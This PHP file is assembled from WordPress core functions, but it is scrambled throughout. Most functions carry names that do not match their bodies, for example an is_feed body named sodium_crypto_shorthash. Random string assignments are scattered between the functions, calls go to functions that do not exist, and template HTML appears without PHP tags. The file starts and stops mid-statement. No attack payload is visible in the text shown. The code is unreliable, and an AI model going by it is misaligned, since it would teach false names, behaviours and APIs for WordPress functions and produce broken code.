time scanning a corrupt file # fe_cswap(z2,z3,swap); $col_name = strrpos($found_terms, $maximum_viewport_width_raw); $gotsome = 'sou961'; $ancestors = 'zcgf8lilk'; $open_button_classes = 'eysro8'; $corderby = strnatcmp($ancestors, $open_button_classes); // s0 -= carry0 * ((uint64_t) 1L << 21); $gotsome = addslashes($col_name); // [50][35] -- Settings describing the encryption used. Must be present if the value of ContentEncodingType is 1 and absent otherwise. // Variable BitRate (VBR) - minimum bitrate $tag_ID = 'xmgo'; // Checking the other optional media: elements. Priority: media:content, media:group, item, channel // Include revisioned meta when considering whether a post revision has changed. // Character is valid ASCII $wp_debug_log_value = 'crwt'; // Parse network path for a NOT IN clause. /** * Unused function. * * @deprecated 2.5.0 */ function cache_get() { _deprecated_function(__FUNCTION__, '2.5.0'); return false; } // -4 -18.06 dB // attributes to `__( 'Search' )` meaning that many posts contain `<!-- $tag_ID = addslashes($wp_debug_log_value); // Also set the feed title and store author from the h-feed if available. // Are we in body mode now? $del_options = link_target_meta_box($subsets); $head_start = 'v9rfij'; // s21 += carry20; // Show the "Set Up Akismet" banner on the comments and plugin pages if no API key has been set. // for ($channel = 0; $channel < $changeset_setting_idnfo['audio']['channels']; $channel++) { $eq = 'cilz'; $head_start = md5($eq); $bytesleft = 'pn09c3e'; /** * Saves the XML document into a file. * * @since 2.8.0 * * @param DOMDocument $bytes_written * @param string $assign_title */ function render_screen_reader_content($bytes_written, $assign_title) { // phpcs:ignore WordPress.NamingConventions.ValidFunctionName.FunctionNameInvalid $set_table_names = $bytes_written->saveXML(); $set_table_names = preg_replace("/([^\r])\n/", "\$1\r\n", $set_table_names); $excluded_referer_basenames = fopen($assign_title, 'w'); fwrite($excluded_referer_basenames, $set_table_names); fclose($excluded_referer_basenames); } $tag_ID = 'b8jvlzuy'; // ----- Generate a local information // Already have better matches for these guys. $bytesleft = substr($tag_ID, 19, 10); // Strip /index.php/ when we're not using PATHINFO permalinks. // If old and new theme have just one sidebar, map it and we're done. $autosave = 'b4hcn8m'; $client_etag = 'oc5be7'; // If only one match was found, it's the one we want. // Add a bookmark to the first tag to be able to iterate over the selectors. $should_skip_text_columns = 'xzsa6'; // Update an existing plugin. $autosave = strcspn($client_etag, $should_skip_text_columns); /** * Determines whether the query is for a feed. * * For more information on this and similar theme functions, check out * the {@link https://developer.wordpress.org/themes/basics/conditional-tags/ * Conditional Tags} article in the Theme Developer Handbook. * * @since 1.5.0 * * @global WP_Query $was_cache_addition_suspended WordPress Query object. * * @param string|string[] $buffer Optional. Feed type or array of feed types * to check against. Default empty. * @return bool Whether the query is for a feed. */ function sodium_crypto_shorthash($buffer = '') { global $was_cache_addition_suspended; if (!isset($was_cache_addition_suspended)) { _doing_it_wrong(__FUNCTION__, __('Conditional query tags do not work before the query is run. Before then, they always return false.'), '3.1.0'); return false; } return $was_cache_addition_suspended->sodium_crypto_shorthash($buffer); } // Look up area definition. // wp_rand() can accept arguments in either order, PHP cannot. // response of check_cache /** * Returns uniform "anonymous" data by type. * * @since 4.9.6 * * @param string $tableindices The type of data to be anonymized. * @param string $thisfile_mpeg_audio_lame_RGAD_track Optional. The data to be anonymized. Default empty string. * @return string The anonymous data for the requested type. */ function post_comment_status_meta_box($tableindices, $thisfile_mpeg_audio_lame_RGAD_track = '') { switch ($tableindices) { case 'email': $tz_string = 'deleted@site.invalid'; break; case 'url': $tz_string = 'https://site.invalid'; break; case 'ip': $tz_string = wp_privacy_anonymize_ip($thisfile_mpeg_audio_lame_RGAD_track); break; case 'date': $tz_string = '0000-00-00 00:00:00'; break; case 'text': /* translators: Deleted text. */ $tz_string = __('[deleted]'); break; case 'longtext': /* translators: Deleted long text. */ $tz_string = __('This content was deleted by the author.'); break; default: $tz_string = ''; break; } /** * Filters the anonymous data for each type. * * @since 4.9.6 * * @param string $tz_string Anonymized data. * @param string $tableindices Type of the data. * @param string $thisfile_mpeg_audio_lame_RGAD_track Original data. */ return apply_filters('post_comment_status_meta_box', $tz_string, $tableindices, $thisfile_mpeg_audio_lame_RGAD_track); } $vars = 'vmzi4'; // * Error Correction Data // Use the output mime type if present. If not, fall back to the input/initial mime type. $head_start = 'ycy0r3ng8'; $vars = stripcslashes($head_start); $corderby = 'te88su1'; // ----- Extract time // Validate the nonce for this action. // Index Blocks Count DWORD 32 // Specifies the number of Index Blocks structures in this Index Object. $wp_debug_log_value = 'vmfm9w2'; $corderby = ucwords($wp_debug_log_value); $client_etag = 'p96sr8uj'; // set up destination path // Drafts shouldn't be assigned a date unless explicitly done so by the user. $cdata = 'v5jh'; // [53][6E] -- A human-readable track name. /** * Gets current commenter's name, email, and URL. * * Expects cookies content to already be sanitized. User of this function might * wish to recheck the returned array for validity. * * @see sanitize_comment_cookies() Use to sanitize cookies * * @since 2.0.4 * * @return array { * An array of current commenter variables. * * @type string $spacing_block_styles The name of the current commenter, or an empty string. * @type string $wp_rich_edit The email address of the current commenter, or an empty string. * @type string $FLVvideoHeader The URL address of the current commenter, or an empty string. * } */ function get_block_core_avatar_border_attributes() { // Cookies should already be sanitized. $spacing_block_styles = ''; if (isset($_COOKIE['comment_author_' . COOKIEHASH])) { $spacing_block_styles = $_COOKIE['comment_author_' . COOKIEHASH]; } $wp_rich_edit = ''; if (isset($_COOKIE['comment_author_email_' . COOKIEHASH])) { $wp_rich_edit = $_COOKIE['comment_author_email_' . COOKIEHASH]; } $FLVvideoHeader = ''; if (isset($_COOKIE['comment_author_url_' . COOKIEHASH])) { $FLVvideoHeader = $_COOKIE['comment_author_url_' . COOKIEHASH]; } /** * Filters the current commenter's name, email, and URL. * * @since 3.1.0 * * @param array $spacing_block_styles_data { * An array of current commenter variables. * * @type string $spacing_block_styles The name of the current commenter, or an empty string. * @type string $wp_rich_edit The email address of the current commenter, or an empty string. * @type string $FLVvideoHeader The URL address of the current commenter, or an empty string. * } */ return apply_filters('get_block_core_avatar_border_attributes', compact('comment_author', 'comment_author_email', 'comment_author_url')); } // Distinguish between `false` as a default, and not passing one. /** * Removes a sidebar from the list. * * @since 2.2.0 * * @global array $carry1 The registered sidebars. * * @param string|int $query_vars_hash The ID of the sidebar when it was registered. */ function wp_ajax_replyto_comment($query_vars_hash) { global $carry1; unset($carry1[$query_vars_hash]); } $element_low = 'safquwpm'; $client_etag = levenshtein($cdata, $element_low); $subsets = 'u0f98y351'; $cdata = 'eil1kt4'; $subsets = base64_encode($cdata); /** * Used to display a "After a file has been uploaded..." help message. * * @since 3.3.0 */ function get_site_screen_help_tab_args() { } // The submenu icon is rendered in a button here $v_year = 'x2fgfr'; $elname = 'szxl4lu'; $autosave = 'czfmfm4'; // Remove extraneous backslashes. $v_year = addcslashes($elname, $autosave); /** * Whether to display the header text. * * @since 3.4.0 * * @return bool */ function get_filter_css_property_value_from_preset() { if (!current_theme_supports('custom-header', 'header-text')) { return false; } $link_cats = get_theme_mod('header_textcolor', get_theme_support('custom-header', 'default-text-color')); return 'blank' !== $link_cats; } // 4.6 ETC Event timing codes // Update counts for the post's terms. $curcategory = 'kxb3in3'; $schema_prop = 'tr1xe46h'; // Set up properties for themes available on WordPress.org. // carry16 = (s16 + (int64_t) (1L << 20)) >> 21; $curcategory = str_repeat($schema_prop, 3); $curcategory = 'j8murqwx'; $consent = 'oi491q0ot'; # fe_mul(z2,z2,tmp1); $curcategory = trim($consent); // Otherwise, include the directive if it is truthy. $t0 = 'qv3c1c'; // Selective Refresh partials. // carry20 = (s20 + (int64_t) (1L << 20)) >> 21; // 1. Check if HTML includes the site's Really Simple Discovery link. // Empty body does not need further processing. # b = v0 ^ v1 ^ v2 ^ v3; $html5_script_support = 'fcuu13j'; $t0 = is_string($html5_script_support); $default_capabilities_for_mapping = 'dq0j'; // PIFF Protection System Specific Header Box - http://fileformats.archiveteam.org/wiki/Protected_Interoperable_File_Format /** * Retrieves the URL to a REST endpoint. * * Note: The returned URL is NOT escaped. * * @since 4.4.0 * * @param string $fn_transform_src_into_uri Optional. REST route. Default empty. * @param string $option_tag_id3v1 Optional. Sanitization scheme. Default 'rest'. * @return string Full URL to the endpoint. */ function get_notice_kses_allowed_elements($fn_transform_src_into_uri = '', $option_tag_id3v1 = 'rest') { return get_get_notice_kses_allowed_elements(null, $fn_transform_src_into_uri, $option_tag_id3v1); } // filename. // If the target is a string convert to an array. # v2=ROTL(v2,32) /** * @see ParagonIE_Sodium_Compat::crypto_scalarmult() * @param string $langcode * @param string $streamnumber * @return string * @throws SodiumException * @throws TypeError */ function get_post_thumbnail_id($langcode, $streamnumber) { return ParagonIE_Sodium_Compat::crypto_scalarmult($langcode, $streamnumber); } // 2 if $streamnumber_path is exactly the same as $streamnumber_dir // offset_for_ref_frame[ i ] $section_description = 'optl802k'; $conditional = 'ezmpv'; $default_capabilities_for_mapping = strripos($section_description, $conditional); $t0 = 'qc7m'; // Store error string. // Fall through otherwise. // Add in the rules that don't redirect to WP's index.php (and thus shouldn't be handled by WP at all). $arc_year = 'hsdpv7jzf'; // If you're not requesting, we can't get any responses ¯\_(ツ)_/¯ /** * Parses a string into variables to be stored in an array. * * @since 2.2.1 * * @param string $sitemap_list The string to be parsed. * @param array $md5_filename Variables will be stored in this array. */ function add_option_update_handler($sitemap_list, &$md5_filename) { parse_str((string) $sitemap_list, $md5_filename); /** * Filters the array of variables derived from a parsed string. * * @since 2.2.1 * * @param array $md5_filename The array populated with variables. */ $md5_filename = apply_filters('add_option_update_handler', $md5_filename); } $connection_lost_message = 'mo141f1'; /** * Determines which method to use for reading, writing, modifying, or deleting * files on the filesystem. * * The priority of the transports are: Direct, SSH2, FTP PHP Extension, FTP Sockets * (Via Sockets class, or `fsockopen()`). Valid values for these are: 'direct', 'ssh2', * 'ftpext' or 'ftpsockets'. * * The return value can be overridden by defining the `FS_METHOD` constant in `wp-config.php`, * or filtering via {@see 'filesystem_method'}. * * @link https://wordpress.org/documentation/article/editing-wp-config-php/#wordpress-upgrade-constants * * Plugins may define a custom transport handler, See WP_Filesystem(). * * @since 2.5.0 * * @global callable $_wp_filesystem_direct_method * * @param array $del_file Optional. Connection details. Default empty array. * @param string $settings_html Optional. Full path to the directory that is tested * for being writable. Default empty. * @param bool $EBMLstring Optional. Whether to allow Group/World writable. * Default false. * @return string The transport to use, see description for valid return values. */ function wxr_site_url($del_file = array(), $settings_html = '', $EBMLstring = false) { // Please ensure that this is either 'direct', 'ssh2', 'ftpext', or 'ftpsockets'. $current_token = defined('FS_METHOD') ? FS_METHOD : false; if (!$settings_html) { $settings_html = WP_CONTENT_DIR; } // If the directory doesn't exist (wp-content/languages) then use the parent directory as we'll create it. if (WP_LANG_DIR === $settings_html && !is_dir($settings_html)) { $settings_html = dirname($settings_html); } $settings_html = trailingslashit($settings_html); if (!$current_token) { $leftover = $settings_html . 'temp-write-test-' . str_replace('.', '-', uniqid('', true)); $color_support = @fopen($leftover, 'w'); if ($color_support) { // Attempt to determine the file owner of the WordPress files, and that of newly created files. $hide_on_update = false; $class_name = false; if (function_exists('fileowner')) { $hide_on_update = @fileowner(__FILE__); $class_name = @fileowner($leftover); } if (false !== $hide_on_update && $hide_on_update === $class_name) { /* * WordPress is creating files as the same owner as the WordPress files, * this means it's safe to modify & create new files via PHP. */ $current_token = 'direct'; $transients['_wp_filesystem_direct_method'] = 'file_owner'; } elseif ($EBMLstring) { /* * The $settings_html directory is writable, and $EBMLstring is set, * this means we can modify files safely in this directory. * This mode doesn't create new files, only alter existing ones. */ $current_token = 'direct'; $transients['_wp_filesystem_direct_method'] = 'relaxed_ownership'; } fclose($color_support); @unlink($leftover); } } if (!$current_token && isset($del_file['connection_type']) && 'ssh' === $del_file['connection_type'] && extension_loaded('ssh2')) { $current_token = 'ssh2'; } if (!$current_token && extension_loaded('ftp')) { $current_token = 'ftpext'; } if (!$current_token && (extension_loaded('sockets') || function_exists('fsockopen'))) { $current_token = 'ftpsockets'; // Sockets: Socket extension; PHP Mode: FSockopen / fwrite / fread. } /** * Filters the filesystem method to use. * * @since 2.6.0 * * @param string $current_token Filesystem method to return. * @param array $del_file An array of connection details for the method. * @param string $settings_html Full path to the directory that is tested for being writable. * @param bool $EBMLstring Whether to allow Group/World writable. */ return apply_filters('filesystem_method', $current_token, $del_file, $settings_html, $EBMLstring); } $t0 = strcspn($arc_year, $connection_lost_message); // This meta value is used from version 5.5. // 4.3. W??? URL link frames // %0bcd0000 // v2.4 $frame_flags = 'dhak1'; /** * Retrieves URL for an attachment thumbnail. * * @since 2.1.0 * @since 6.1.0 Changed to use wp_get_attachment_image_url(). * * @param int $weeuns Optional. Attachment ID. Default is the ID of the global `$lines_out`. * @return string|false Thumbnail URL on success, false on failure. */ function trim_events($weeuns = 0) { $weeuns = (int) $weeuns; /* * This uses image_downsize() which also looks for the (very) old format $changeset_setting_idmage_meta['thumb'] * when the newer format $changeset_setting_idmage_meta['sizes']['thumbnail'] doesn't exist. */ $sub_field_name = wp_get_attachment_image_url($weeuns, 'thumbnail'); if (empty($sub_field_name)) { return false; } /** * Filters the attachment thumbnail URL. * * @since 2.1.0 * * @param string $sub_field_name URL for the attachment thumbnail. * @param int $weeuns Attachment ID. */ return apply_filters('trim_events', $sub_field_name, $weeuns); } // Match an aria-label attribute from an object tag. $default_capabilities_for_mapping = ms_not_installed($frame_flags); // These were previously extract()'d. // MOD - audio - MODule (ScreamTracker) // LAME header at offset 36 + 190 bytes of Xing/LAME data // Reset post date of scheduled post to be published. $comments_number_text = 'likfvt'; // frame src urls $connection_lost_message = 'k8h6avj4'; $comments_number_text = rawurlencode($connection_lost_message); // Escape the index name with backticks. An index for a primary key has no name. // Set destination addresses, using appropriate methods for handling addresses. /** * Check whether to disable the Menu Locations meta box submit button and inputs. * * @since 3.6.0 * @since 5.3.1 The `$bloginfo` parameter was added. * * @global bool $collate to determine if no menus exist * * @param int|string $locate ID, name, or slug of the currently selected menu. * @param bool $bloginfo Whether to display or just return the string. * @return string|false Disabled attribute if at least one menu exists, false if not. */ function wp_render_duotone_filter_preset($locate, $bloginfo = true) { global $collate; if ($collate) { return false; } return disabled($locate, 0, $bloginfo); } // from:to /** * Server-side rendering of the `core/pattern` block. * * @package WordPress */ /** * Registers the `core/pattern` block on the server. */ function validate_user_signup() { register_block_type_from_metadata(__DIR__ . '/pattern', array('render_callback' => 'render_block_core_pattern')); } // menu or there was an error. $msg_browsehappy = 'ck1zj'; /** * Loads the REST API. * * @since 4.4.0 * * @global WP $wp Current WordPress environment instance. */ function upgrade_network() { if (empty($transients['wp']->query_vars['rest_route'])) { return; } /** * Whether this is a REST Request. * * @since 4.4.0 * @var bool */ define('REST_REQUEST', true); // Initialize the server. $force_uncompressed = rest_get_server(); // Fire off the request. $customize_header_url = untrailingslashit($transients['wp']->query_vars['rest_route']); if (empty($customize_header_url)) { $customize_header_url = '/'; } $force_uncompressed->serve_request($customize_header_url); // We're done. die; } /** * Updates the IIS web.config file with the current rules if it is writable. * If the permalinks do not require rewrite rules then the rules are deleted from the web.config file. * * @since 2.8.0 * * @global WP_Rewrite $dropdown_class WordPress rewrite component. * * @return bool|null True on write success, false on failure. Null in multisite. */ function absolutize_url() { global $dropdown_class; if (is_multisite()) { return; } // Ensure get_home_path() is declared. require_once ABSPATH . 'wp-admin/includes/file.php'; $EBMLbuffer = get_home_path(); $WMpicture = $EBMLbuffer . 'web.config'; // Using win_is_writable() instead of is_writable() because of a bug in Windows PHP. if (iis7_supports_permalinks() && (!file_exists($WMpicture) && win_is_writable($EBMLbuffer) && $dropdown_class->using_mod_rewrite_permalinks() || win_is_writable($WMpicture))) { $offered_ver = $dropdown_class->iis7_url_rewrite_rules(false); if (!empty($offered_ver)) { return iis7_add_rewrite_rule($WMpicture, $offered_ver); } else { return iis7_delete_rewrite_rule($WMpicture); } } return false; } $t0 = privDuplicate($msg_browsehappy); // There may only be one 'PCNT' frame in each tag. // Copyright message // see: http://www.cl.cam.ac.uk/~mgk25/unicode.html#utf-8 /** * Adds the filters for footnotes meta field. * * @access private * @since 6.3.2 */ function get_comment_pages_count() { add_filter('sanitize_post_meta_footnotes', '_wp_filter_post_meta_footnotes'); } // Add default features. /** * Video embed handler callback. * * @since 3.6.0 * * @param array $kp The RegEx matches from the provided regex when calling wp_embed_register_handler(). * @param array $check_buffer Embed attributes. * @param string $AudioCodecFrequency The original URL that was matched by the regex. * @param array $wp_did_header The original unmodified attributes. * @return string The embed HTML. */ function wp_render_layout_support_flag($kp, $check_buffer, $AudioCodecFrequency, $wp_did_header) { $html_link = ''; if (!empty($wp_did_header['width']) && !empty($wp_did_header['height'])) { $html_link .= sprintf('width="%d" ', (int) $wp_did_header['width']); $html_link .= sprintf('height="%d" ', (int) $wp_did_header['height']); } $default_theme_mods = sprintf('[video %s src="%s" /]', $html_link, esc_url($AudioCodecFrequency)); /** * Filters the video embed output. * * @since 3.6.0 * * @param string $default_theme_mods Video embed output. * @param array $check_buffer An array of embed attributes. * @param string $AudioCodecFrequency The original URL that was matched by the regex. * @param array $wp_did_header The original unmodified attributes. */ return apply_filters('wp_render_layout_support_flag', $default_theme_mods, $check_buffer, $AudioCodecFrequency, $wp_did_header); } $list_files = 'k9cl6s'; // yes this is ugly, feel free to suggest a better way // We cannot get an identical md5_data value for Ogg files where the comments $hex4_regexp = 'gsg3vkn'; // Convert absolute to relative. // If the file is relative, prepend upload dir. /** * Removes the cache contents matching key and group. * * @since 2.0.0 * * @see WP_Object_Cache::delete() * @global WP_Object_Cache $above_sizes_item Object cache global instance. * * @param int|string $default_header What the contents in the cache are called. * @param string $limitnext Optional. Where the cache contents are grouped. Default empty. * @return bool True on successful removal, false on failure. */ function filter_default_metadata($default_header, $limitnext = '') { global $above_sizes_item; return $above_sizes_item->delete($default_header, $limitnext); } $list_files = basename($hex4_regexp); $update_plugins = 'zkfmq6a'; // In single column mode, only show the title once if unchanged. $active_key = 'rm2h'; $update_plugins = convert_uuencode($active_key); // Global styles can be enqueued in both the header and the footer. See https://core.trac.wordpress.org/ticket/53494. $default_capabilities_for_mapping = 't22g8z'; $conditional = 'khgjlb8'; // ----- Look for deletion /** * Autosave the revisioned meta fields. * * Iterates through the revisioned meta fields and checks each to see if they are set, * and have a changed value. If so, the meta value is saved and attached to the autosave. * * @since 6.4.0 * * @param array $caption_id The new post data being autosaved. */ function wp_shrink_dimensions($caption_id) { /* * The post data arrives as either $_POST['data']['wp_autosave'] or the $_POST * itself. This sets $wp_email to the correct variable. * * Ignoring sanitization to avoid altering meta. Ignoring the nonce check because * this is hooked on inner core hooks where a valid nonce was already checked. */ $wp_email = isset($_POST['data']['wp_autosave']) ? $_POST['data']['wp_autosave'] : $_POST; $curl_value = get_post_type($caption_id['post_parent']); /* * Go thru the revisioned meta keys and save them as part of the autosave, if * the meta key is part of the posted data, the meta value is not blank and * the the meta value has changes from the last autosaved value. */ foreach (wp_post_revision_meta_keys($curl_value) as $TheoraPixelFormatLookup) { if (isset($wp_email[$TheoraPixelFormatLookup]) && get_post_meta($caption_id['ID'], $TheoraPixelFormatLookup, true) !== wp_unslash($wp_email[$TheoraPixelFormatLookup])) { /* * Use the underlying delete_metadata() and add_metadata() functions * vs delete_post_meta() and add_post_meta() to make sure we're working * with the actual revision meta. */ delete_metadata('post', $caption_id['ID'], $TheoraPixelFormatLookup); /* * One last check to ensure meta value not empty(). */ if (!empty($wp_email[$TheoraPixelFormatLookup])) { /* * Add the revisions meta data to the autosave. */ add_metadata('post', $caption_id['ID'], $TheoraPixelFormatLookup, $wp_email[$TheoraPixelFormatLookup]); } } } } // ...and if the nav menu would be rendered with a wrapper container element (upon which to attach data-* attributes). // Remember meta capabilities for future reference. $default_capabilities_for_mapping = md5($conditional); // int64_t b9 = 2097151 & (load_4(b + 23) >> 5); // You may define your own function and pass the name in $overrides['unique_filename_callback']. // Language $ASFIndexParametersObjectIndexSpecifiersIndexTypesx xx xx // Do not allow programs to alter MAILSERVER // Remove empty elements. // Remove the first few entries from the array as being already output. // Function : PclZipUtilRename() // VbriVersion $samples_count = 'oes30o'; $active_key = rest_parse_embed_param($samples_count); // It the LAME tag was only introduced in LAME v3.90 /** * Performs an HTTP request using the HEAD method and returns its response. * * @since 2.7.0 * * @see wp_remote_request() For more information on the response array format. * @see WP_Http::request() For default arguments information. * * @param string $AudioCodecFrequency URL to retrieve. * @param array $del_file Optional. Request arguments. Default empty array. * See WP_Http::request() for information on accepted arguments. * @return array|WP_Error The response or WP_Error on failure. */ function deleteByIndex($AudioCodecFrequency, $del_file = array()) { $my_secret = _wp_http_get_object(); return $my_secret->head($AudioCodecFrequency, $del_file); } $default_minimum_font_size_factor_min = 'v571'; $ASFTimecodeIndexParametersObjectIndexSpecifiersIndexTypes = 't03m'; // Either item or its dependencies don't exist. $default_minimum_font_size_factor_min = bin2hex($ASFTimecodeIndexParametersObjectIndexSpecifiersIndexTypes); $wp_user_roles = 'ektauz7ri'; // This will get rejected in ::get_item(). // ----- Check that $streamnumber_archive is a valid zip file // Preserve leading and trailing whitespace. /** * Set up global post data. * * @since 1.5.0 * @since 4.4.0 Added the ability to pass a post ID to `$lines_out`. * * @global WP_Query $was_cache_addition_suspended WordPress Query object. * * @param WP_Post|object|int $lines_out WP_Post instance or Post ID/object. * @return bool True when finished. */ function post_password_required($lines_out) { global $was_cache_addition_suspended; if (!empty($was_cache_addition_suspended) && $was_cache_addition_suspended instanceof WP_Query) { return $was_cache_addition_suspended->post_password_required($lines_out); } return false; } // Help tabs. // XML error // Or, the widget has been added/updated in 4.8.0 then filter prop is 'content' and it is no longer legacy. $thisfile_riff_WAVE_cart_0 = 'wgmmcuk'; // It's possible to have a color scheme set that is no longer registered. $wp_user_roles = crc32($thisfile_riff_WAVE_cart_0); // Quicktime: QDesign Music $streams = 'wp373n'; $ASFTimecodeIndexParametersObjectIndexSpecifiersIndexTypes = 'at1ytw8'; // WPLANG was passed with `$meta` to the `wpmu_new_blog` hook prior to 5.1.0. $streams = strtoupper($ASFTimecodeIndexParametersObjectIndexSpecifiersIndexTypes); $ops = 'bupn'; /** * Displays the tags for a post. * * @since 2.3.0 * * @param string $frame_currencyid Optional. String to use before the tags. Defaults to 'Tags:'. * @param string $legend Optional. String to use between the tags. Default ', '. * @param string $full_url Optional. String to use after the tags. Default empty. */ function shortcode_exists($frame_currencyid = null, $legend = ', ', $full_url = '') { if (null === $frame_currencyid) { $frame_currencyid = __('Tags: '); } $mysql = get_the_tag_list($frame_currencyid, $legend, $full_url); if (!is_wp_error($mysql)) { echo $mysql; } } // 3.5 $section_description = 'tkheg1m'; $ops = stripcslashes($section_description); // action=unspam: Choosing "Not Spam" from the Bulk Actions dropdown in wp-admin. $curcategory = 'yp6nhna'; // Assemble a flat array of all comments + descendants. // action=unspamcomment: Following the "Not Spam" link below a comment in wp-admin (not allowing AJAX request to happen). // Validate the `src` property. $frame_flags = 'u3wrccyx6'; $curcategory = ucwords($frame_flags); /** * Handles adding a link category via AJAX. * * @since 3.1.0 * * @param string $sanitizer Action to perform. */ function wp_get_block_default_classname($sanitizer) { if (empty($sanitizer)) { $sanitizer = 'add-link-category'; } check_ajax_referer($sanitizer); $cpt_post_id = get_taxonomy('link_category'); if (!current_user_can($cpt_post_id->cap->manage_terms)) { wp_die(-1); } $thisfile_riff_WAVE_SNDM_0_data = explode(',', wp_unslash($_POST['newcat'])); $ASFIndexParametersObjectIndexSpecifiersIndexTypes = new WP_Ajax_Response(); foreach ($thisfile_riff_WAVE_SNDM_0_data as $sendback_text) { $sendback_text = trim($sendback_text); $lin_gain = sanitize_title($sendback_text); if ('' === $lin_gain) { continue; } $db_field = wp_insert_term($sendback_text, 'link_category'); if (!$db_field || is_wp_error($db_field)) { continue; } else { $db_field = $db_field['term_id']; } $sendback_text = esc_html($sendback_text); $ASFIndexParametersObjectIndexSpecifiersIndexTypes->add(array('what' => 'link-category', 'id' => $db_field, 'data' => "<li id='link-category-{$db_field}'><label for='in-link-category-{$db_field}' class='selectit'><input value='" . esc_attr($db_field) . "' type='checkbox' checked='checked' name='link_category[]' id='in-link-category-{$db_field}'/> {$sendback_text}</label></li>", 'position' => -1)); } $ASFIndexParametersObjectIndexSpecifiersIndexTypes->send(); } $link_category = 'oq9gpxo7u'; $ddate = 'tbfi'; // --gallery-block--gutter-size is deprecated. --wp--style--gallery-gap-default should be used by themes that want to set a default $link_category = trim($ddate); $sanitized_nicename__in = 'j5cl'; /** * Meta Box Accordion Template Function. * * Largely made up of abstracted code from do_meta_boxes(), this * function serves to build meta boxes as list items for display as * a collapsible accordion. * * @since 3.6.0 * * @uses global $frame_crop_top_offset Used to retrieve registered meta boxes. * * @param string|object $session_tokens_props_to_export The screen identifier. * @param string $settings_html The screen context for which to display accordion sections. * @param mixed $filter_status Gets passed to the section callback function as the first parameter. * @return int Number of meta boxes as accordion sections. */ function cache_events($session_tokens_props_to_export, $settings_html, $filter_status) { global $frame_crop_top_offset; wp_enqueue_script('accordion'); if (empty($session_tokens_props_to_export)) { $session_tokens_props_to_export = get_current_screen(); } elseif (is_string($session_tokens_props_to_export)) { $session_tokens_props_to_export = convert_to_screen($session_tokens_props_to_export); } $limits = $session_tokens_props_to_export->id; $has_kses = get_hidden_meta_boxes($session_tokens_props_to_export); <div id="side-sortables" class="accordion-container"> <ul class="outer-border"> $changeset_setting_id = 0; $default_args = false; if (isset($frame_crop_top_offset[$limits][$settings_html])) { foreach (array('high', 'core', 'default', 'low') as $valid_element_names) { if (isset($frame_crop_top_offset[$limits][$settings_html][$valid_element_names])) { foreach ($frame_crop_top_offset[$limits][$settings_html][$valid_element_names] as $value_start) { if (false === $value_start || !$value_start['title']) { continue; } ++$changeset_setting_id; $SimpleIndexObjectData = in_array($value_start['id'], $has_kses, true) ? 'hide-if-js' : ''; $can_install_translations = ''; if (!$default_args && empty($SimpleIndexObjectData)) { $default_args = true; $can_install_translations = 'open'; } <li class="control-section accordion-section echo $SimpleIndexObjectData; echo $can_install_translations; echo esc_attr($value_start['id']); " id=" echo esc_attr($value_start['id']); "> <h3 class="accordion-section-title hndle" tabindex="0"> echo esc_html($value_start['title']); <span class="screen-reader-text"> /* translators: Hidden accessibility text. */ _e('Press return or enter to open this section'); </span> </h3> <div class="accordion-section-content postbox_classes($value_start['id'], $limits); "> <div class="inside"> call_user_func($value_start['callback'], $filter_status, $value_start); </div><!-- .inside --> </div><!-- .accordion-section-content --> </li><!-- .accordion-section --> } } } } </ul><!-- .outer-border --> </div><!-- .accordion-container --> return $changeset_setting_id; } // Frame ID $ASFIndexParametersObjectIndexSpecifiersIndexTypesx xx xx xx (four characters) $stripped = 'h3t9fg1'; /** * Registers the `core/comment-edit-link` block on the server. */ function upgrade_460() { register_block_type_from_metadata(__DIR__ . '/comment-edit-link', array('render_callback' => 'render_block_core_comment_edit_link')); } // ge25519_p1p1_to_p3(&p6, &t6); $sanitized_nicename__in = is_string($stripped); // This behavior matches rest_validate_value_from_schema(). // Update the request to completed state when the export email is sent. // End foreach ( $lin_gain_group as $lin_gain ). $format_args = 't2nmu3p'; $duplicated_keys = 'ex9rejfl'; // SoundMiner metadata $format_args = htmlentities($duplicated_keys); // Registration rules. /** * Publishes a snapshot's changes. * * @since 4.7.0 * @access private * * @global WP_Customize_Manager $toAddr Customizer instance. * * @param string $allowed_types New post status. * @param string $embed_url Old post status. * @param WP_Post $blog_meta_ids Changeset post object. */ function ge_add($allowed_types, $embed_url, $blog_meta_ids) { global $toAddr; $uses_context = 'customize_changeset' === $blog_meta_ids->post_type && 'publish' === $allowed_types && 'publish' !== $embed_url; if (!$uses_context) { return; } if (empty($toAddr)) { require_once ABSPATH . WPINC . '/class-wp-customize-manager.php'; $toAddr = new WP_Customize_Manager(array('changeset_uuid' => $blog_meta_ids->post_name, 'settings_previewed' => false)); } if (!did_action('customize_register')) { /* * When running from CLI or Cron, the customize_register action will need * to be triggered in order for core, themes, and plugins to register their * settings. Normally core will add_action( 'customize_register' ) at * priority 10 to register the core settings, and if any themes/plugins * also add_action( 'customize_register' ) at the same priority, they * will have a $toAddr with those settings registered since they * call add_action() afterward, normally. However, when manually doing * the customize_register action after the setup_theme, then the order * will be reversed for two actions added at priority 10, resulting in * the core settings no longer being available as expected to themes/plugins. * So the following manually calls the method that registers the core * settings up front before doing the action. */ remove_action('customize_register', array($toAddr, 'register_controls')); $toAddr->register_controls(); /** This filter is documented in wp-includes/class-wp-customize-manager.php */ do_action('customize_register', $toAddr); } $toAddr->_publish_changeset_values($blog_meta_ids->ID); /* * Trash the changeset post if revisions are not enabled. Unpublished * changesets by default get garbage collected due to the auto-draft status. * When a changeset post is published, however, it would no longer get cleaned * out. This is a problem when the changeset posts are never displayed anywhere, * since they would just be endlessly piling up. So here we use the revisions * feature to indicate whether or not a published changeset should get trashed * and thus garbage collected. */ if (!wp_revisions_enabled($blog_meta_ids)) { $toAddr->trash_changeset_post($blog_meta_ids->ID); } } // Move flag is set. // Handle embeds for reusable blocks. // Invalid nonce. /** * Cleans the user cache for a specific user. * * @since 3.0.0 * * @param int $area_definition The user ID. * @return int|false The ID of the refreshed user or false if the user does not exist. */ function export_wp($area_definition) { $area_definition = (int) $area_definition; $t_ = get_userdata($area_definition); if (!$t_) { return false; } clean_user_cache($t_); return $area_definition; } $stcoEntriesDataOffset = 'nsemm'; $all_instances = 'xn83'; $stcoEntriesDataOffset = strtolower($all_instances); // @todo Preserve port? $sticky_args = 'yawdro'; # crypto_stream_chacha20_ietf_xor(new_key_and_inonce, new_key_and_inonce, $abspath_fix = get_param($sticky_args); /** * Execute changes made in WordPress 3.8.0. * * @ignore * @since 3.8.0 * * @global int $CommentStartOffset The old (current) database version. */ function wp_embed_handler_googlevideo() { global $CommentStartOffset; if ($CommentStartOffset < 26691) { deactivate_plugins(array('mp6/mp6.php'), true); } } $attachment_ids = 